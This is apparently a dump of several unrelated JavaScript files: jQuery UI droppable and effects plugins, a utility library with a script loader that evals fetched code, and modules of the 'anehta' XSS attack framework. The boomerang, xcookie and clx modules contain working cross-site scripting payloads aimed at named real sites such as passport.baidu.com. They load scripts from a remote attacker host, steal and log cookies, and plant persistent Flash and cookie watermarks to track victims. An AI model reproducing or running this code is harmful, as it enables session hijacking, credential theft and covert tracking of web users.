parentInstance['isout'] = 1;
parentInstance._out.call(parentInstance, e);
}
this[c] = 1; this[c == 'isout' ? 'isover' : 'isout'] = 0;
this[c == "isover" ? "_over" : "_out"].call(this, e);
// we just moved out of a greedy child
if (parentInstance && c == 'isout') {
parentInstance['isout'] = 0;
parentInstance['isover'] = 1;
parentInstance._over.call(parentInstance, e);
}
});
}
};
/*
* Droppable Extensions
*/
$.ui.plugin.add("droppable", "activeClass", {
activate: function(e, ui) {
$(this).addClass(ui.options.activeClass);
},
deactivate: function(e, ui) {
$(this).removeClass(ui.options.activeClass);
},
drop: function(e, ui) {
$(this).removeClass(ui.options.activeClass);
}
});
$.ui.plugin.add("droppable", "hoverClass", {
over: function(e, ui) {
$(this).addClass(ui.options.hoverClass);
},
out: function(e, ui) {
$(this).removeClass(ui.options.hoverClass);
},
drop: function(e, ui) {
$(this).removeClass(ui.options.hoverClass);
}
});
})(jQuery);
|
JavaScript
|
var COMMONS={version:1.24,userAgent:navigator.userAgent.toLowerCase()};
COMMONS.isIE=COMMONS.userAgent.indexOf("msie")>-1;
COMMONS.isOpera=COMMONS.userAgent.indexOf("opera")>-1;
COMMONS.isSafari=(!COMMONS.isOpera&&COMMONS.userAgent.indexOf("safari")>-1);
COMMONS.isGecko=(!COMMONS.isOpera&&!COMMONS.isSafari&&COMMONS.userAgent.indexOf("gecko")>-1);
COMMONS.isWin32=(COMMONS.userAgent.indexOf("windows")>-1);
COMMONS.isMacOs=(COMMONS.userAgent.indexOf("mac")>-1);
COMMONS.returnFalse=function returnFalse(){
return false;
};
COMMONS.returnTrue=function returnTrue(){
return true;
};
COMMONS.proxy=function(_ba){
return _ba;
};
COMMONS.isObject=function(_bb){
return _bb!==null&&typeof (_bb)==="object";
};
COMMONS.isArray=function(_bc){
return _bc instanceof Array;
};
COMMONS.isRegExp=function(_bd){
return _bd instanceof RegExp;
};
COMMONS.isDate=function(_be){
return _be instanceof Date;
};
COMMONS.isNumber=function(_bf){
return typeof (_bf)==="number";
};
COMMONS.isBoolean=function(_c0){
return typeof (_c0)==="boolean";
};
COMMONS.isString=function(_c1){
return typeof (_c1)==="string";
};
COMMONS.isFunction=function(_c2){
return typeof (_c2)==="function";
};
COMMONS.isUndefined=function(_c3){
return _c3===undefined;
};
COMMONS.isDefined=function(_c4){
return _c4!==null&&_c4!==undefined;
};
COMMONS.toInteger=function(_c5){
var _c6=0;
if(_c5){
_c6=this.isNumber(_c5)?_c5:parseInt(_c5,10);
}
return _c6;
};
COMMONS.toFloat=function(_c7){
var _c8=0;
if(_c7){
_c8=this.isNumber(_c7)?_c7:parseFloat(_c7);
}
return _c8;
};
COMMONS.BOOLEAN_TRUE={"true":true,"yes":true,"ok":true};
COMMONS.toBoolean=function(_c9){
var _ca=false;
if(_c9){
_ca=this.isBoolean(_c9)?_c9:this.BOOLEAN_TRUE[_c9.toString().toLowerCase()];
}
return _ca;
};
function Logger(_cb){
this.fPrefix=_cb;
}
Logger.TRACE=20;
Logger.DEBUG=50;
Logger.INFO=70;
Logger.WARN=80;
Logger.ERROR=90;
Logger.FATAL=100;
Logger.prototype.trace=function(_cc,_cd){
this.log(Logger.TRACE,_cc,_cd);
};
Logger.prototype.debug=function(_ce,_cf){
this.log(Logger.DEBUG,_ce,_cf);
};
Logger.prototype.info=function(_d0,_d1){
this.log(Logger.INFO,_d0,_d1);
};
Logger.prototype.warning=function(_d2,_d3){
this.log(Logger.WARN,_d2,_d3);
};
Logger.prototype.error=function(_d4,_d5,_d6){
this.log(Logger.ERROR,_d4,_d5,_d6);
};
Logger.prototype.fatal=function(_d7,_d8,_d9){
this.log(Logger.FATAL,_d7,_d8,_d9);
};
Logger.prototype.log=function(_da,_db,_dc,_dd){
var txt=COMMONS.isDefined(this.fPrefix)?"["+this.fPrefix+"] "+_db:_db;
if(COMMONS.isDefined(_dc)){
txt+=": "+_dc.name+", "+_dc.message;
}
if(COMMONS.isDefined(_dd)){
txt+="\n"+_dd.toString();
}
this.printLog(_da,txt);
};
Logger.prototype.printLog=function(_df,_e0){
if(_df>Logger.WARN){
alert(_e0);
}
};
COMMONS.fLogger=new Logger("Common");
var JSINER={scriptPrefix:"script/",scriptSuffix:".js",version:1};
JSINER.fDependency={};
JSINER.fClassMap={};
JSINER.fLogger=new Logger("JSINER");
JSINER.getConstructor=function(_e1){
var _e2=null;
if(COMMONS.isString(_e1)){
_e2=window[_e1];
}else{
if(COMMONS.isFunction(_e1)){
_e2=_e1;
}else{
if(COMMONS.isObject(_e1)){
_e2=_e1.constructor;
}
}
}
return _e2;
};
JSINER.getType=function(_e3){
var _e4=(typeof _e3);
if(COMMONS.isObject(_e3)){
if(COMMONS.isRegExp(_e3)){
_e4="RegExp";
}else{
var _e5=this.getConstructor(_e3);
if(COMMONS.isDefined(_e5)){
var _e6=_e5.toString();
var _e7=_e6.indexOf("(");
_e4=((_e7>0)?_e6.substring(_e6.indexOf(" ")+1,_e7):_e6);
if(this.fClassMap[_e4]!==undefined){
_e4=this.fClassMap[_e4];
}else{
if(window[_e4]===undefined){
for(var _e8 in window){
if(window[_e8]===_e5){
this.fClassMap[_e4]=_e8;
_e4=_e8;
break;
}
}
}
}
}
}
}
return _e4;
};
JSINER.getScriptURI=function(_e9){
var _ea=null;
if(COMMONS.isString(_e9)){
_ea=this.scriptPrefix;
if(/js[i|o]ner/.test(_e9)){
_ea+=_e9;
}else{
_ea+=_e9.replace(/[.]/g,"/");
}
_ea=Transporter.addParameter(_ea+this.scriptSuffix,"ver",this.version);
}
return _ea;
};
JSINER.isScriptLoaded=function(_eb){
var _ec=this.fScripts.isContains(_eb);
if(!_ec){
var uri=this.getScriptURI(_eb);
var _ee=uri.indexOf("?");
if(_ee>0){
uri=uri.substring(0,_ee);
}
var _ef=document.getElementsByTagName("script");
for(var i=0;i<_ef.length;i++){
var src=_ef[i].src;
if(src.indexOf(uri)>=0){
_ec=true;
break;
}
}
}
this.fLogger.info("The script ["+_eb+"] are "+(_ec?"loaded":"not loaded"));
return _ec;
};
JSINER.setDependency=function(_f2){
this.fDependency=COMMONS.isDefined(_f2)?_f2:{};
};
JSINER.addDependency=function(_f3){
if(COMMONS.isDefined(_f3)){
for(var _f4 in _f3){
var _f5=this.fDependency[_f4];
if(!COMMONS.isArray(_f5)){
this.fDependency[_f4]=[];
_f5=this.fDependency[_f4];
}
var _f6=_f3[_f4];
if(COMMONS.isArray(_f6)){
for(var i=0;i<_f6.length;i++){
_f5.push(_f6[i]);
}
}else{
_f5.push(_f6);
}
}
}
};
JSINER.getDependency=function(_f8,_f9){
var _fa=this.getType(_f8);
return this.fDependency[_fa];
};
JSINER.createInstance=function(_fb,_fc){
var _fd=null;
if(COMMONS.isFunction(_fb)&&COMMONS.isFunction(_fc)&&_fc!==Object){
var _fe=_fb.prototype;
var _ff=_fb.prototype.toString;
_fb.prototype=new _fc();
_fb.prototype.constructor=_fb;
_fb.superClass=_fc.prototype;
for(var name in _fe){
_fb.prototype[name]=_fe[name];
}
_fb.prototype.toString=_ff;
_fb.$extend=true;
_fd=new _fb();
}
return _fd;
};
JSINER.extend=function(_101,_102){
var _103=function(_104,_105){
var _106=_104;
var cons=_104.constructor;
if(COMMONS.isUndefined(cons.$extend)){
var _108=this.getDependency(_104,_105);
if(COMMONS.isArray(_108)){
var _109=this;
this.inject(_108,function(){
var _10a=_109.getConstructor(_105);
_106=_109.createInstance(cons,_10a)||_106;
});
}else{
var _10b=this.getConstructor(_105);
_106=this.createInstance(cons,_10b)||_106;
}
}
return _106;
};
var _10c=_103.call(this,_101,_102);
var _10d=this.getConstructor(_102);
if(COMMONS.isFunction(_10d)){
_10d.call(_10c);
}
return _10c;
};
JSINER.INTERCEPT_BEFORE=0;
JSINER.INTERCEPT_AFTER=1;
JSINER.INTERCEPT_INSTEAD=2;
JSINER.INTERCEPT_ON_ERROR=3;
JSINER.fMethods=new HashMap();
JSINER.registerInterceptor=function(_10e,_10f,_110,_111){
var _112=this.getConstructor(_10e);
if(_112!==null&&COMMONS.isFunction(_111)){
var key=this.getType(_112)+"."+_10f;
var _114=_112.prototype[_10f];
if(!this.fMethods.isContains(key)){
this.fMethods.put(key,_114);
}
if(this.isUndefined(_114)){
_110=this.INTERCEPT_INSTEAD;
}
var _115=null;
switch(_110){
case this.INTERCEPT_BEFORE:
_115=function(){
_111.apply(this,arguments);
return _114.apply(this,arguments);
};
break;
case this.INTERCEPT_AFTER:
_115=function(){
var _116=_114.apply(this,arguments);
_111.apply(this,arguments);
return _116;
};
break;
case this.INTERCEPT_INSTEAD:
_115=function(){
var _117=_111.apply(this,arguments);
return _117;
};
break;
case this.INTERCEPT_ON_ERROR:
_115=function(){
var _118=null;
try{
_118=_114.apply(this,arguments);
}
catch(ex){
_118=_111.apply(this,arguments);
}
return _118;
};
break;
default:
this.fLogger.error("register interceptor, unsupported type "+_110);
break;
}
_112.prototype[_10f]=_115;
}else{
this.fLogger.error("register interceptor, unsupported arguments "+_10e);
}
};
JSINER.unregisterInterceptor=function(_119,_11a){
var _11b=this.getConstructor(_119);
if(_11b!==null){
var key=this.getType(_11b)+"."+_11a;
if(this.fMethods.isContains(key)){
_11b.prototype[_11a]=this.fMethods.get(key);
this.fMethods.remove(key);
}else{
this.fLogger.warning("unregister interceptor, "+key+" never was registered.");
}
}else{
this.fLogger.error("unregister interceptor, unable to obtain object constructor "+_119);
}
};
JSINER.getInfo=function(_11d,_11e){
var _11f=typeof (_11d);
if(COMMONS.isObject(_11d)){
_11f+="["+this.getType(_11d)+"]\n";
if(!_11e){
var _120=[];
var _121;
for(var name in _11d){
try{
_121=_11d[name];
_120.push(COMMONS.isFunction(_121)?(name+"()"):(name+"="+_121));
}
catch(ex){
_120.push(name);
}
}
if(_120.length>0){
_11f+=_120.sort().join(", ");
}
}
if(COMMONS.isArray(Object.attributes)){
var _123=[];
var _124;
try{
for(var j=0;j<_11d.attributes.length;j++){
_124=_11d.attributes[j];
if(_124.nodeValue!==null&&_124.nodeValue!==""){
_123.push(_124.name+"="+_124.nodeValue);
}
}
}
catch(ex){
}
if(_123.length>0){
_11f+="\n ["+_123.sort().join(", ")+"]";
}
}
}
return _11f;
};
function HashMap(_126){
this.fObject=_126||{};
this.fSize=0;
for(var name in this.fObject){
if(this.fObject.hasOwnProperty(name)){
this.fSize++;
}
}
}
HashMap.prototype.isEmpty=function(){
return this.getSize()===0;
};
HashMap.prototype.getSize=function(){
return this.fSize;
};
HashMap.prototype.get=function(aKey){
return this.fObject[aKey];
};
HashMap.prototype.isContains=function(aKey){
return COMMONS.isDefined(this.get(aKey));
};
HashMap.prototype.put=function(aKey,_12b){
if(!this.isContains(aKey)){
this.fSize++;
}
this.fObject[aKey]=_12b;
};
HashMap.prototype.remove=function(aKey){
if(this.isContains(aKey)){
this.fObject[aKey]=undefined;
delete this.fObject[aKey];
if(!this.isContains(aKey)){
this.fSize--;
}
}
};
HashMap.prototype.clear=function(){
this.fSize=0;
this.fObject={};
};
function KeySet(){
var self=JSINER.extend(this,HashMap);
for(var i=0;i<arguments.length;i++){
self.add(arguments[i]);
}
return self;
}
KeySet.prototype.add=function(aKey){
KeySet.superClass.put.call(this,aKey,true);
};
KeySet.prototype.getSize=function(){
return this.fSize;
};
JSINER.fScripts=new KeySet();
COMMONS.isEquals=function(_130,_131){
function isObjectEquals(_132,_133){
var _134=true;
var set=new KeySet();
for(var name in _132){
if(_132.hasOwnProperty(name)){
if(!COMMONS.isEquals(_132[name],_133[name])){
_134=false;
break;
}
set.add(name);
}
}
for(var name in _133){
if(_133.hasOwnProperty(name)&&!set.isContains(name)){
if(!COMMONS.isEquals(_132[name],_133[name])){
_134=false;
break;
}
}
}
return _134;
}
var _137=JSINER.getType(_130)===JSINER.getType(_131);
if(_137){
if(COMMONS.isObject(_130)){
if(!isNaN(_130.nodeType)){
_137=COMMONS.isString(_130.id);
if(_137){
_137=_130.nodeType===_131.nodeType&&_130.nodeName===_131.nodeName&&_130.id===_131.id;
}
}else{
if(COMMONS.isArray(_130)){
_137=(_130.length===_131.length);
}
if(_137){
_137=isObjectEquals(_130,_131);
}
}
}else{
_137=(_130===_131);
}
}
return _137;
};
function Transporter(_138,_139,_13a,_13b,_13c){
this.fAsynch=COMMONS.isBoolean(_13c)?_13c:true;
this.fTaskID=_139;
this.fCounter=COMMONS.isNumber(_13b)?Math.max(_13b,0):1;
this.fMethod=_13a;
this.onLoad=_138;
this.fTimeout=1000;
this.fURI=null;
this.fQueryString=null;
this.fTaskCounter=this.fCounter;
this.fReq=null;
this.fReqTaskID=null;
this.fResponseHandlers=new HashMap();
this.registerDefaults();
}
Transporter.fTaskSet=new KeySet();
Transporter.setTaskAlive=function(_13d,_13e){
if(COMMONS.isDefined(_13d)){
if(_13e){
Transporter.fTaskSet.add(_13d);
}else{
Transporter.fTaskSet.remove(_13d);
}
}
};
Transporter.isLoaderAlive=function(_13f){
var _140=!Transporter.fTaskSet.isEmpty();
return _140;
};
Transporter.isTaskAlive=function(_141){
var _142=false;
if(COMMONS.isDefined(_141)){
_142=Transporter.fTaskSet.isContains(_141);
}
return _142;
};
Transporter.addParameter=function(aURL,_144,_145){
var _146=aURL;
if(COMMONS.isString(aURL)&&COMMONS.isString(_144)&&COMMONS.isDefined(_145)){
var _147=_144+"=";
var _148=aURL.indexOf(_147);
if(_148>0){
_146=aURL.substring(0,_148+_147.length)+_145;
var _149=aURL.indexOf("&",_148+_147.length);
if(_149>0){
_146+=aURL.substring(_149,aURL.length);
}
}else{
_146+=(_146.indexOf("?")>0)?"&":"?";
_146+=_147+_145;
}
}
return _146;
};
Transporter.ActiveX_TRANSPORT=["Msxml2.XMLHTTP","Microsoft.XMLHTTP","Msxml2.XMLHTTP.5.0","Msxml2.XMLHTTP.4.0","MSXML2.XMLHTTP.3.0"];
Transporter.prototype.fLogger=new Logger("Transporter");
Transporter.prototype.getQueryString=function(_14a,_14b){
var _14c=null;
var _14d=COMMONS.isNumber(_14b)?Math.max(_14b,0):0;
if(COMMONS.isArray(_14a)&&_14a.length>=_14d){
_14c=_14a[_14d];
if(_14a.length>=_14d){
for(var i=_14d+1;i<_14a.length;i++){
_14c+=((i%2===1)?"=":"&")+_14a[i];
}
}
}
return _14c;
};
Transporter.prototype.getDefaultHandler=function(){
return this.errorHandler();
};
Transporter.prototype.getResponseHandler=function(_14f){
var _150=this.fResponseHandlers.get(_14f);
if(!COMMONS.isDefined(_150)){
_150=this.getDefaultHandler();
}
return _150;
};
Transporter.prototype.registerDefaults=function(){
this.setResponseHandeler(400,this.fatalErrorHandler);
this.setResponseHandeler(500,this.fatalErrorHandler);
this.setResponseHandeler(0,this.okHandler);
this.setResponseHandeler(200,this.okHandler);
};
Transporter.prototype.setResponseHandeler=function(_151,_152){
this.fResponseHandlers.put(_151,_152);
};
Transporter.prototype.customizeHeaders=function(_153){
var _154=(this.fMethod==="POST")?"application/x-www-form-urlencoded;charset=\"utf-8\"":"text/xml;charset=\"utf-8\"";
_153.setRequestHeader("Content-type",_154);
if(COMMONS.isGecko){
_153.setRequestHeader("Connection","close");
}
};
Transporter.prototype.request=function(aURI,_156,_157){
this.fURI=aURI;
this.fTaskCounter=this.fCounter;
this.fQueryString=_157;
this.fMethod=_156;
Transporter.setTaskAlive(this.fTaskID,true);
try{
this.doLoadData();
}
catch(ex){
this.fLogger.warning("doLoadData error happened",ex);
}
};
Transporter.prototype.sendData=function(aURI){
var _159=this.getQueryString(arguments,1);
this.request(aURI,"POST",_159);
};
Transporter.prototype.loadData=function(aURI){
var _15b=this.getQueryString(arguments,1);
this.request(aURI,"GET",_15b);
};
Transporter.prototype.doLoadData=function(){
if(window.XMLHttpRequest){
this.fReq=new XMLHttpRequest();
}else{
if(window.ActiveXObject){
if(COMMONS.isDefined(Transporter.ActiveX_TRANSPORT.transport)){
this.fReq=new ActiveXObject(Transporter.ActiveX_TRANSPORT.transport);
}else{
var _15c;
for(var i=0;i<Transporter.ActiveX_TRANSPORT.length;i++){
_15c=Transporter.ActiveX_TRANSPORT[i];
try{
this.fReq=new ActiveXObject(_15c);
Transporter.ActiveX_TRANSPORT.transport=_15c;
break;
}
catch(ex){
}
}
}
}
}
if(COMMONS.isDefined(this.fReq)){
this.fProcessed=false;
var _15e=this;
this.fReq.onreadystatechange=function(){
_15e.onReadyState.call(_15e);
};
try{
this.fReq.open(this.fMethod,this.fURI,this.fAsynch);
this.customizeHeaders(this.fReq);
this.fReq.send(this.fQueryString);
this.fLogger.info("Open request: "+this.fURI+(this.fQueryString?"?"+this.fQueryString:""));
if(!this.fAsynch&&COMMONS.isGecko&&this.fReq.readyState===4){
this.onReadyState();
}
}
catch(ex){
this.fatalErrorHandler();
}
}else{
this.fLogger.error("Browser not supported XMLHttpRequest");
}
};
Transporter.prototype.onReadyState=function(){
var _15f=this.fReq.readyState;
if(_15f===4){
if(!this.fProcessed){
var _160=this.getResponseHandler(this.fReq.status);
_160.call(this);
this.fReq.onreadystatechange=COMMONS.returnTrue;
this.fProcessed=true;
}
}
};
Transporter.prototype.okHandler=function(){
this.fLogger.info("Request successfully: "+this.fURI);
if(COMMONS.isFunction(this.onLoad)){
try{
this.onLoad.call(this);
}
catch(ex){
this.fLogger.error("Callback error: "+this.fURI,ex,this.onLoad);
}
}
Transporter.setTaskAlive(this.fTaskID,false);
};
Transporter.prototype.fatalErrorHandler=function(){
if(this.fReqTaskID!==null){
window.clearTimeout(this.fReqTaskID);
this.fReqTaskID=null;
}
Transporter.setTaskAlive(this.fTaskID,false);
if(COMMONS.isDefined(this.fReq)){
this.fLogger.error(this.fReq.status+", request "+this.fURI+" error. Headers: "+this.fReq.getAllResponseHeaders());
this.fReq.onreadystatechange=COMMONS.returnTrue;
this.fReq.abort();
}
};
Transporter.prototype.errorHandler=function(){
if(this.fReqTaskID!==null){
window.clearTimeout(this.fReqTaskID);
this.fReqTaskID=null;
}
if(this.fTaskCounter<=0){
Transporter.setTaskAlive(this.fTaskID,false);
this.fLogger.error(this.fReq.status+", request "+this.fURI+" error. Headers: "+this.fReq.getAllResponseHeaders());
}else{
var _161=this;
this.fTaskCounter=this.fTaskCounter-1;
this.fReqTaskID=window.setTimeout(function(){
_161.doLoadData();
},this.fTimeout);
this.fLogger.info(this.fReq.status+", trying to request "+this.fURI+" again....");
}
};
Transporter.prototype.getResponsedText=function(){
var _162=null;
if(COMMONS.isDefined(this.fReq)){
_162=this.fReq.responseText;
}
return _162;
};
Transporter.prototype.getResponsedXML=function(){
var _163=null;
if(COMMONS.isDefined(this.fReq)){
try{
_163=this.fReq.responseXML;
}
catch(ex){
this.fLogger.error("Unable to parse responsed XML",ex);
}
}
return _163;
};
JSINER.inject=function(_164,_165){
var _166=function(_167,_168){
var _169=null;
for(var i=_167.fIndex;i<_168.length;i++){
var link=_168[_167.fIndex];
if(!JSINER.isScriptLoaded(link)){
_169=JSINER.getScriptURI(link);
if(_169!==null){
_167.fIndex=i;
break;
}
}
}
return _169;
};
if(COMMONS.isDefined(_164)){
if(!COMMONS.isArray(_164)){
_164=[_164];
}
var _16c=new Transporter(function(){
var code=this.getResponsedText();
if(window.execScript){
window.execScript(code,"javascript");
}else{
if(COMMONS.isSafari){
var _16e=document.getElementsByTagName("head");
var head=_16e.length>0?_16e[0]:document.body;
var _170=document.createElement("script");
_170.type="text/javascript";
_170.innerHTML=code;
head.appendChild(_170);
}else{
window.eval(code);
}
}
JSINER.fScripts.add(_164[this.fIndex]);
this.fIndex++;
var uri=_166(this,_164);
if(uri!==null){
this.loadData(uri);
}else{
if(COMMONS.isFunction(_165)){
_165();
}
}
});
_16c.fAsynch=false;
_16c.fIndex=0;
var uri=_166(_16c,_164);
if(uri!==null){
_16c.loadData(uri);
}else{
if(COMMONS.isFunction(_165)){
_165();
}
}
}
};
|
JavaScript
|
/*
* jQuery UI Effects Shake @VERSION
*
* Copyright (c) 2008 Aaron Eisenberger (aaronchi@gmail.com)
* Dual licensed under the MIT (MIT-LICENSE.txt)
* and GPL (GPL-LICENSE.txt) licenses.
*
* http://docs.jquery.com/UI/Effects/Shake
*
* Depends:
* effects.core.js
*/
(function($) {
$.effects.shake = function(o) {
return this.queue(function() {
// Create element
var el = $(this), props = ['position','top','left'];
// Set options
var mode = $.effects.setMode(el, o.options.mode || 'effect'); // Set Mode
var direction = o.options.direction || 'left'; // Default direction
var distance = o.options.distance || 20; // Default distance
var times = o.options.times || 3; // Default # of times
var speed = o.duration || o.options.duration || 140; // Default speed per shake
// Adjust
$.effects.save(el, props); el.show(); // Save & Show
$.effects.createWrapper(el); // Create Wrapper
var ref = (direction == 'up' || direction == 'down') ? 'top' : 'left';
var motion = (direction == 'up' || direction == 'left') ? 'pos' : 'neg';
// Animation
var animation = {}, animation1 = {}, animation2 = {};
animation[ref] = (motion == 'pos' ? '-=' : '+=') + distance;
animation1[ref] = (motion == 'pos' ? '+=' : '-=') + distance * 2;
animation2[ref] = (motion == 'pos' ? '-=' : '+=') + distance * 2;
// Animate
el.animate(animation, speed, o.options.easing);
for (var i = 1; i < times; i++) { // Shakes
el.animate(animation1, speed, o.options.easing).animate(animation2, speed, o.options.easing);
};
el.animate(animation1, speed, o.options.easing).
animate(animation, speed / 2, o.options.easing, function(){ // Last shake
$.effects.restore(el, props); $.effects.removeWrapper(el); // Restore
if(o.callback) o.callback.apply(this, arguments); // Callback
});
el.queue('fx', function() { el.dequeue(); });
el.dequeue();
});
};
})(jQuery);
|
JavaScript
|
/*
* jQuery UI Effects Bounce @VERSION
*
* Copyright (c) 2008 Aaron Eisenberger (aaronchi@gmail.com)
* Dual licensed under the MIT (MIT-LICENSE.txt)
* and GPL (GPL-LICENSE.txt) licenses.
*
* http://docs.jquery.com/UI/Effects/Bounce
*
* Depends:
* effects.core.js
*/
(function($) {
$.effects.bounce = function(o) {
return this.queue(function() {
// Create element
var el = $(this), props = ['position','top','left'];
// Set options
var mode = $.effects.setMode(el, o.options.mode || 'effect'); // Set Mode
var direction = o.options.direction || 'up'; // Default direction
var distance = o.options.distance || 20; // Default distance
var times = o.options.times || 5; // Default # of times
var speed = o.duration || 250; // Default speed per bounce
if (/show|hide/.test(mode)) props.push('opacity'); // Avoid touching opacity to prevent clearType and PNG issues in IE
// Adjust
$.effects.save(el, props); el.show(); // Save & Show
$.effects.createWrapper(el); // Create Wrapper
var ref = (direction == 'up' || direction == 'down') ? 'top' : 'left';
var motion = (direction == 'up' || direction == 'left') ? 'pos' : 'neg';
var distance = o.options.distance || (ref == 'top' ? el.outerHeight({margin:true}) / 3 : el.outerWidth({margin:true}) / 3);
if (mode == 'show') el.css('opacity', 0).css(ref, motion == 'pos' ? -distance : distance); // Shift
if (mode == 'hide') distance = distance / (times * 2);
if (mode != 'hide') times--;
// Animate
if (mode == 'show') { // Show Bounce
var animation = {opacity: 1};
animation[ref] = (motion == 'pos' ? '+=' : '-=') + distance;
el.animate(animation, speed / 2, o.options.easing);
distance = distance / 2;
times--;
};
for (var i = 0; i < times; i++) { // Bounces
var animation1 = {}, animation2 = {};
animation1[ref] = (motion == 'pos' ? '-=' : '+=') + distance;
animation2[ref] = (motion == 'pos' ? '+=' : '-=') + distance;
el.animate(animation1, speed / 2, o.options.easing).animate(animation2, speed / 2, o.options.easing);
distance = (mode == 'hide') ? distance * 2 : distance / 2;
};
if (mode == 'hide') { // Last Bounce
var animation = {opacity: 0};
animation[ref] = (motion == 'pos' ? '-=' : '+=') + distance;
el.animate(animation, speed / 2, o.options.easing, function(){
el.hide(); // Hide
$.effects.restore(el, props); $.effects.removeWrapper(el); // Restore
if(o.callback) o.callback.apply(this, arguments); // Callback
});
} else {
var animation1 = {}, animation2 = {};
animation1[ref] = (motion == 'pos' ? '-=' : '+=') + distance;
animation2[ref] = (motion == 'pos' ? '+=' : '-=') + distance;
el.animate(animation1, speed / 2, o.options.easing).animate(animation2, speed / 2, o.options.easing, function(){
$.effects.restore(el, props); $.effects.removeWrapper(el); // Restore
if(o.callback) o.callback.apply(this, arguments); // Callback
});
};
el.queue('fx', function() { el.dequeue(); });
el.dequeue();
});
};
})(jQuery);
|
JavaScript
|
var target = "http://www.alimafia.com/xssDemo.html#'><script src=http://www.a.com/anehta/feed.js></script><'";
var org_url = "http://www.a.com/anehta/demo.html";
//var target="http://www.alimafia.com/xssDemo.html#'><script src=http://www.a.com/anehta/feed.js></script><'";
//var org_url = "http://www.a.com/anehta/demo.html"; // 前页面
var target_domain = target.split('/');
target_domain = target_domain[2];
var org_domain = org_url.split('/');
org_domain = org_domain[2];
////////////////////////////////////////////////////////
// boomerang 回旋镖模块,获取第三方远程站点的cookie
// 并将页面重定向回当前页面
// 要求远程站点存在一个xss
//// Author: axis
///////////////////////////////////////////////////////
//alert("Boomerang.js 回旋镖模块");
// 如果是当前页面,则向目标提交
if ($d.domain == org_domain){
if (anehta.dom.checkCookie("boomerang") == false){
// 在cookie里做标记,只弹一次
anehta.dom.addCookie("boomerang", "x");
//anehta.dom.persistCookie("boomerang");
//alert(anehta.dom.getCookie("boomerang"));
setTimeout( function (){
//alert(target);
try {
anehta.net.postForm(target);
} catch (e){
//alert(e);
}
},
50);
}
}
// 如果是目标站点,则重定向回前页面
if ($d.domain == target_domain){
//clx模块太慢了
anehta.logger.logCookie();
setTimeout( function (){
// 弹回原来的页面。
anehta.net.postForm(org_url);
},
50);
}
|
JavaScript
|
//alert("xcookie.js");
///////////////////////////////////////////////////
//// 偷取跨域 Stored Cookies //////////////////////
//// Author: axis
//// boomerang/gifar/flash/iframe//////////////////
///////////////////////////////////////////////////
if ( anehtaBrowser.type() == "msie" ){
//IE最好只通过回旋镖模块获取一次
//anehta.inject.addScript(anehtaurl+"/module/boomerang.js");
anehta.inject.injectScript(anehtaurl+"/module/boomerang.js");
} else if ( anehtaBrowser.type() == "mozilla" ){
// 增加水印支持
setTimeout(function(){
// 尝试获取cookie中的水印
var frameMark;
frameMark = anehta.dom.getCookie("anehtaWatermark");
var ClxMod = anehtaurl + "/module/clx.js";
var target_url = new Array( // 远程xss trigger; 这里只在远程加载clxmod以获取cookie.
"http://passport.baidu.com/?getmypass&username=\"];document.write('<script src="+ClxMod+"></script>');//"+"&anehtaWatermark="+frameMark,
"http://www.gobolinux.org/?page=<script src="+ClxMod+"></script>"+"&anehtaWatermark="+frameMark,
"http://www.underwoodlandcompany.com/?pg=asdf<script src="+ClxMod+"></script>"+"&anehtaWatermark="+frameMark,
"http://www.waikikicondosearch.com/?pg=asdf<script src="+ClxMod+"></script>"+"&anehtaWatermark="+frameMark
);
// 因为mozilla/firefox 的iframe,img 不拦截stored cookie
// 所以可以直接利用这些标签
$.each(target_url, function(){
//alert(this);
anehta.inject.injectIframe(this);
}
);
},
3000);
}
|
JavaScript
|
var anehtaurl = "http://www.a.com/anehta";
//var anehtaurl = "http://www.a.com/anehta";
/////////////////////////////////////////////////
// clx.js 楚留香模块,盗取当前页面cookie, 标记水印
// 并发送到远程server
//alert("clx.js 楚留香模块");
/////////////////////////////////////////////////
////////////////////////////////////////////////////////////
// 开始执行功能
// Author: axis
////////////////////////////////////////////////////////////
// 配合回旋镖模块使用时单独加载BaseLib
// 检查BaseLib是否加载
if (typeof anehta == "undefined"){
//alert("Base Lib is not Loaded!");
var AnehtaLib = anehtaurl+"/library/anehta.js";
document.write("<script src="+AnehtaLib+"></script>");
}
// 等待BaseLib加载
setTimeout(function(){
// 由于xcookie模块,在ff中可能用iframe获取跨域cookie,先检查uri中是否包含水印
if (window.location.href.indexOf("anehtaWatermark=") > -1){
//alert(document.domain);
anehta.dom.addCookie("anehtaWatermark", anehta.dom.getQueryStr("anehtaWatermark"));
anehta.dom.persistCookie("anehtaWatermark"); // 让水印不过期
anehta.logger.logCookie();
}
},
1000);
// 以下是正常加载clx过程
var ts = new Date();
ts = ts.getTime(); // 随机数,作为水印,只加载一次
var watermarkvalue = "FirstCatch:"+document.domain+"|"+ts;
//alert(watermarkvalue);
//while(typeof anehta == "undefined"){}
if (anehta.dom.checkCookie("anehtaWatermark") == false){ // cookie中没有水印
if (anehta.detect.flash('8') == true){ // 检测是否有flash
// 插入水印flash; 加载flash需要时间
anehta.inject.injectFlash("anehtaWatermark", watermarkflash, document.domain);
//alert(1);
setTimeout(function(){
if ( anehta.core.getWatermark("anehtaWatermark") == undefined ){
// flash cache 中没有记录,需要设置一个
anehta.core.setWatermark("anehtaWatermark", watermarkvalue);
}
// 读取水印并写进cookie
anehta.dom.addCookie("anehtaWatermark", anehta.core.getWatermark("anehtaWatermark"));
anehta.dom.persistCookie("anehtaWatermark"); // 让水印不过期
// 记录当前cookie
anehta.logger.logCookie();
},
500);
} else { // 不支持flash
// 在cookie里添加水印
anehta.dom.addCookie("anehtaWatermark", watermarkvalue);
anehta.dom.persistCookie("anehtaWatermark"); // 让水印不过期
anehta.logger.logCookie();
}
}
else { // cookie 中有水印, 不需要重复记录cookie了
//检查flashcache中是否有水印,如果没有,则把cookie里的水印写入flashcache
if (anehta.detect.flash('8') == true){ // 检测是否有flash
// 插入水印flash; 加载flash需要时间
anehta.inject.injectFlash("anehtaWatermark", watermarkflash, document.domain);
setTimeout(function(){if ( anehta.core.getWatermark("anehtaWatermark") == undefined ){
// flash cache 中没有记录,需要设置一个
anehta.core.setWatermark("anehtaWatermark", anehta.dom.getCookie("anehtaWatermark"));
}
},
500);
}
anehta.logger.logCookie();
}
|
JavaScript
|
// test 模块,测试使用
//alert(anehta.crypto.random());
/*
var pop=new Popup({ contentType:3,isReloadOnClose:false,width:340,height:80});
//pop.setContent("title","删除评论");
//pop.setContent("confirmCon","您确定要彻底删除这条评论吗?");
//pop.setContent("callBack",delCallback2);
//pop.setContent("parameter",{fid:"aaaa",popup:pop});
pop.build();
pop.show();
pop.shadow();
*/
